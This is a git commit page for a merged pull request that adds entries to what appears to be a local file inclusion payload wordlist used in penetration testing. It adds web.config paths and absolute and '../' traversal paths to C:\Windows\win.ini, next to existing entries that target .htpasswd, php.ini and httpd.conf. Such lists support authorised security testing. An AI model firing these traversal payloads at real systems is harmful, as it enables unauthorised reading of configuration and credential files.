Merge pull request #1029 from exploide/LFI-Jhaddix-additions

LFI: added absolute C:\Windows\win.ini paths and web.config
This commit is contained in:
g0tmi1k 2024-06-11 16:04:18 +01:00 committed by GitHub
commit fc8f848a51
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -83,6 +83,11 @@ C:\boot.ini
C:/inetpub/wwwroot/global.asa
C:\inetpub\wwwroot\global.asa
c:\inetpub\wwwroot\index.asp
web.config
/web.config
\web.config
../web.config
..\web.config
/config.asp
../config.asp
config.asp
@ -781,6 +786,8 @@ users/.htpasswd
/Volumes/webBackup/private/etc/httpd/httpd.conf.default
/web/conf/php.ini
/WINDOWS\php.ini
C:\Windows\win.ini
C:/Windows/win.ini
../../windows/win.ini
../../../../../../../../windows/win.ini
..\..\..\..\..\..\..\..\windows\win.ini